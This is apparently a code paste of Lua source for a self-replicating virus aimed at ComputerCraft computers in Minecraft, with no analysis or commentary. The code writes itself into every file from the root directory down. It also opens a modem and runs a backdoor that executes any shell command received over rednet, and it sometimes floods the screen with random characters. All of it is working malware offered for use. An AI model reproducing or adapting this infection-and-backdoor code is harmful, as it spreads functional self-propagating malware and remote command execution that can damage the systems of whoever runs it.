local infected = true
function infect(file)
local virusfile = fs.open(shell.getRunningProgram(), "r")
local viruscode = virusfile.readAll()
local inFile = fs.open(file, "r")
local fileCode = inFile.readAll()
inFile.close()
virusfile.close()
if string.match(fileCode, "local infected = true") then
else
if file == "key" then
else
local infectFile = fs.open(file,"w")
infectFile.writeLine("local infected = true")
infectFile.writeLine(viruscode)
infectFile.writeLine(fileCode)
infectFile.close()
end
end
end
function remoteCommandStart()
local sides = {"front","back","right","left","top","bottom"}
local conn = false
for i=1,#sides do
if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then
rednet.open(sides[i])
conn = true
break
end
end
if conn then
remoteCommand()
else
end
end
function remoteCommand()
while true do
local id,msg = rednet.receive("162857")
shell.run(msg)
rednet.send(id, "Done: "..msg, "162857")
end
end
function payload()
local a = math.random(1, 10)
if a == 5 then
local w,h = term.getSize()
local payLoadCharacters = {0, 1, "|", "-", "+"}
for i=1,50000 do
term.setCursorPos(math.random(1, w), math.random(1, h))
local index = math.random(1, table.getn(payLoadCharacters))
write(payLoadCharacters[index])
end
end
end
function infectDir(directory)
shell.setDir(directory)
local files = fs.list(directory)
for i=1,#files do
if fs.isDir(files[i]) then
if files[i] == "rom" then
else
infectDir(shell.dir().."/"..files[i])
end
else
infect(shell.dir().."/"..files[i])
end
end
shell.setDir("")
end
infectDir("/")
payload()
Comments